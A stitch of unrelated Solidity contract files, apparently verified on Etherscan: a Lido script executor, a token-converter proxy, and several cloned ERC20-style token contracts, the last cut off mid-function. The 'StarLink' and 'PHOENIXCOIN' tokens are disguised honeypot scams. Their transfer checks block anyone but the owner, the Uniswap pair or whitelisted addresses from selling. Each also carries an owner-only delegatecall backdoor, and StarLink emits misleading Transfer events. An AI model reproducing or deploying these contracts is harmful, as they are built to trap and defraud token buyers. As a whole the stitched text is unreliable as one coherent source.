emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/EVMScriptExecutor.sol
// SPDX-FileCopyrightText: 2021 Lido <[email protected]>
pragma solidity ^0.8.4;
interface ICallsScript {
function execScript(
bytes memory _script,
bytes memory,
address[] memory _blacklist
) external returns (bytes memory);
}
/// @author psirex
/// @notice Contains method to execute EVMScripts
/// @dev EVMScripts use format of Aragon's https://github.com/aragon/aragonOS/blob/v4.0.0/contracts/evmscript/executors/CallsScript.sol executor
contract EVMScriptExecutor is Ownable {
// -------------
// EVENTS
// -------------
event ScriptExecuted(address indexed _caller, bytes _evmScript);
event EasyTrackChanged(address indexed _previousEasyTrack, address indexed _newEasyTrack);
// -------------
// ERRORS
// -------------
string private constant ERROR_CALLER_IS_FORBIDDEN = "CALLER_IS_FORBIDDEN";
string private constant ERROR_EASY_TRACK_IS_NOT_CONTRACT = "EASY_TRACK_IS_NOT_CONTRACT";
string private constant ERROR_CALLS_SCRIPT_IS_NOT_CONTRACT = "CALLS_SCRIPT_IS_NOT_CONTRACT";
// ------------
// CONSTANTS
// ------------
// This variable required to use deployed CallsScript.sol contract because
// CalssScript.sol makes check that caller contract is not petrified (https://hack.aragon.org/docs/common_Petrifiable)
// Contains value: keccak256("aragonOS.initializable.initializationBlock")
bytes32 internal constant INITIALIZATION_BLOCK_POSITION =
0xebb05b386a8d34882b8711d156f463690983dc47815980fb82aeeff1aa43579e;
// ------------
// VARIABLES
// ------------
/// @notice Address of deployed CallsScript.sol contract
address public immutable callsScript;
/// @notice Address of depoyed easyTrack.sol contract
address public easyTrack;
// -------------
// CONSTRUCTOR
// -------------
constructor(address _callsScript, address _easyTrack) {
require(Address.isContract(_callsScript), ERROR_CALLS_SCRIPT_IS_NOT_CONTRACT);
callsScript = _callsScript;
_setEasyTrack(_easyTrack);
StorageSlot.getUint256Slot(INITIALIZATION_BLOCK_POSITION).value = block.number;
}
// -------------
// EXTERNAL METHODS
// -------------
/// @notice Executes EVMScript
/// @dev Uses deployed Aragon's CallsScript.sol contract to execute EVMScript.
/// @return Empty bytes
function executeEVMScript(bytes memory _evmScript) external returns (bytes memory) {
require(msg.sender == easyTrack, ERROR_CALLER_IS_FORBIDDEN);
bytes memory execScriptCallData =
abi.encodeWithSelector(
ICallsScript.execScript.selector,
_evmScript,
new bytes(0),
new address[](0)
);
(bool success, bytes memory output) = callsScript.delegatecall(execScriptCallData);
if (!success) {
assembly {
let ptr := mload(0x40)
let size := returndatasize()
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
}
emit ScriptExecuted(msg.sender, _evmScript);
return abi.decode(output, (bytes));
}
function setEasyTrack(address _easyTrack) external onlyOwner {
_setEasyTrack(_easyTrack);
}
function _setEasyTrack(address _easyTrack) internal {
require(Address.isContract(_easyTrack), ERROR_EASY_TRACK_IS_NOT_CONTRACT);
address oldEasyTrack = easyTrack;
easyTrack = _easyTrack;
emit EasyTrackChanged(oldEasyTrack, _easyTrack);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract StarLink {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
PHOENIX COIN
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PHOENIXCOIN {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: contracts\modules\Ownable.sol
pragma solidity =0.5.16;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\modules\Managerable.sol
pragma solidity =0.5.16;
contract Managerable is Ownable {
address private _managerAddress;
/**
* @dev modifier, Only manager can be granted exclusive access to specific functions.
*
*/
modifier onlyManager() {
require(_managerAddress == msg.sender,"Managerable: caller is not the Manager");
_;
}
/**
* @dev set manager by owner.
*
*/
function setManager(address managerAddress)
public
onlyOwner
{
_managerAddress = managerAddress;
}
/**
* @dev get manager address.
*
*/
function getManager()public view returns (address) {
return _managerAddress;
}
}
// File: contracts\modules\Halt.sol
pragma solidity =0.5.16;
contract Halt is Ownable {
bool private halted = false;
modifier notHalted() {
require(!halted,"This contract is halted");
_;
}
modifier isHalted() {
require(halted,"This contract is not halted");
_;
}
/// @notice function Emergency situation that requires
/// @notice contribution period to stop or not.
function setHalt(bool halt)
public
onlyOwner
{
halted = halt;
}
}
// File: contracts\TokenConverter\TokenConverterData.sol
pragma solidity =0.5.16;
contract TokenConverterData is Managerable,Halt {
//the locjed reward info
struct lockedReward {
uint256 startTime; //this tx startTime for locking
uint256 total; //record input amount in each lock tx
mapping (uint256 => uint256) alloc;//the allocation table
}
struct lockedIdx {
uint256 beginIdx;//the first index for user converting input claimable tx index
uint256 totalIdx;//the total number for converting tx
}
address public cfnxAddress; //cfnx token address
address public fnxAddress; //fnx token address
uint256 public timeSpan = 30*24*3600;//time interval span time ,default one month
uint256 public dispatchTimes = 6; //allocation times,default 6 times
uint256 public txNum = 100; //100 times transfer tx
uint256 public lockPeriod = dispatchTimes*timeSpan;
//the user's locked total balance
mapping (address => uint256) public lockedBalances;//locked balance for each user
mapping (address => mapping (uint256 => lockedReward)) public lockedAllRewards;//converting tx record for each user
mapping (address => lockedIdx) public lockedIndexs;//the converting tx index info
/**
* @dev Emitted when `owner` locked `amount` FPT, which net worth is `worth` in USD.
*/
event InputCfnx(address indexed owner, uint256 indexed amount,uint256 indexed worth);
/**
* @dev Emitted when `owner` burned locked `amount` FPT, which net worth is `worth` in USD.
*/
event ClaimFnx(address indexed owner, uint256 indexed amount,uint256 indexed worth);
}
// File: contracts\Proxy\baseProxy.sol
pragma solidity =0.5.16;
/**
* @title baseProxy Contract
*/
contract baseProxy is Ownable {
address public implementation;
constructor(address implementation_) public {
// Creator of the contract is admin during initialization
implementation = implementation_;
(bool success,) = implementation_.delegatecall(abi.encodeWithSignature("initialize()"));
require(success);
}
function getImplementation()public view returns(address){
return implementation;
}
function setImplementation(address implementation_)public onlyOwner{
implementation = implementation_;
(bool success,) = implementation_.delegatecall(abi.encodeWithSignature("update()"));
require(success);
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
(bool success, bytes memory returnData) = implementation.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() internal view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() internal returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
// File: contracts\TokenConverter\TokenConverterProxy.sol
pragma solidity =0.5.16;
contract TokenConverterProxy is TokenConverterData,baseProxy {
constructor (address implementation_) baseProxy(implementation_) public{
}
function getbackLeftFnx(address /*reciever*/) public {
delegateAndReturn();
}
function setParameter(address /*_cfnxAddress*/,address /*_fnxAddress*/,uint256 /*_timeSpan*/,uint256 /*_dispatchTimes*/,uint256 /*_txNum*/) public {
delegateAndReturn();
}
function lockedBalanceOf(address /*account*/) public view returns (uint256){
delegateToViewAndReturn();
}
function inputCfnxForInstallmentPay(uint256 /*amount*/) public {
delegateAndReturn();
}
function claimFnxExpiredReward() public {
delegateAndReturn();
}
function getClaimAbleBalance(address ) public view returns (uint256) {
delegateToViewAndReturn();
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Firefox coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
